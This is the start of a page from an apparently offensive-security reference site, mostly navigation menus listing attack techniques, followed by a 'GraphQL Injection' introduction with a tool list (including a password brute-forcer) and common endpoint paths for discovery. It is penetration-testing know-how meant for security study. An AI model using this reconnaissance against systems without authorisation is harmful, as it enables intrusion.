<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management &amp; CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
Regular Expression
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_62">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
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Extract Data Using Projections
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<h1 id="graphql-injection">GraphQL Injection</h1>
<blockquote>
<p>GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#enumeration">Enumeration</a></li>
<li><a href="#common-graphql-endpoints">Common GraphQL Endpoints</a></li>
<li><a href="#identify-an-injection-point">Identify An Injection Point</a></li>
<li><a href="#enumerate-database-schema-via-introspection">Enumerate Database Schema via Introspection</a></li>
<li><a href="#enumerate-database-schema-via-suggestions">Enumerate Database Schema via Suggestions</a></li>
<li><a href="#enumerate-types-definition">Enumerate Types Definition</a></li>
<li><a href="#list-path-to-reach-a-type">List Path To Reach A Type</a></li>
<li><a href="#methodology">Methodology</a></li>
<li><a href="#extract-data">Extract Data</a></li>
<li><a href="#extract-data-using-edgesnodes">Extract Data Using Edges/Nodes</a></li>
<li><a href="#extract-data-using-projections">Extract Data Using Projections</a></li>
<li><a href="#mutations">Mutations</a></li>
<li><a href="#graphql-batching-attacks">GraphQL Batching Attacks</a><ul>
<li><a href="#json-list-based-batching">JSON List Based Batching</a></li>
<li><a href="#query-name-based-batching">Query Name Based Batching</a></li>
</ul>
</li>
<li><a href="#injections">Injections</a><ul>
<li><a href="#nosql-injection">NOSQL Injection</a></li>
<li><a href="#sql-injection">SQL Injection</a></li>
</ul>
</li>
<li><a href="#labs">Labs</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/swisskyrepo/GraphQLmap">swisskyrepo/GraphQLmap</a> - Scripting engine to interact with a graphql endpoint for pentesting purposes</li>
<li><a href="https://github.com/doyensec/graph-ql/">doyensec/graph-ql</a> - GraphQL Security Research Material</li>
<li><a href="https://github.com/doyensec/inql">doyensec/inql</a> - A Burp Extension for GraphQL Security Testing</li>
<li><a href="https://github.com/doyensec/GQLSpection">doyensec/GQLSpection</a> - GQLSpection - parses GraphQL introspection schema and generates possible queries</li>
<li><a href="https://gitlab.com/dee-see/graphql-path-enum">dee-see/graphql-path-enum</a> - Lists the different ways of reaching a given type in a GraphQL schema</li>
<li><a href="https://github.com/andev-software/graphql-ide">andev-software/graphql-ide</a> - An extensive IDE for exploring GraphQL API's</li>
<li><a href="https://github.com/mchoji/clairvoyancex">mchoji/clairvoyancex</a> - Obtain GraphQL API schema despite disabled introspection</li>
<li><a href="https://github.com/nicholasaleks/CrackQL">nicholasaleks/CrackQL</a> - A GraphQL password brute-force and fuzzing utility</li>
<li><a href="https://github.com/nicholasaleks/graphql-threat-matrix">nicholasaleks/graphql-threat-matrix</a> - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations</li>
<li><a href="https://github.com/dolevf/graphql-cop">dolevf/graphql-cop</a> - Security Auditor Utility for GraphQL APIs</li>
<li><a href="https://github.com/IvanGoncharov/graphql-voyager">IvanGoncharov/graphql-voyager</a> - Represent any GraphQL API as an interactive graph</li>
<li><a href="https://insomnia.rest/">Insomnia</a> - Cross-platform HTTP and GraphQL Client</li>
</ul>
<h2 id="enumeration">Enumeration</h2>
<h3 id="common-graphql-endpoints">Common GraphQL Endpoints</h3>
<p>Most of the time GraphQL is located at the <code>/graphql</code> or <code>/graphiql</code> endpoint.
A more complete list is available at <a href="https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt">danielmiessler/SecLists/graphql.txt</a>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">explorer</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">graphiql</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="p">/</span><span class="n">graph</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="p">/</span><span class="n">graphql</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="p">/</span><span class="n">graphql</span><span class="p">/</span><span class="n">console</span><span class="p">/</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a><span class="p">/</span><span class="n">graphql</span><span class="p">.</span><span class="n">php</span>
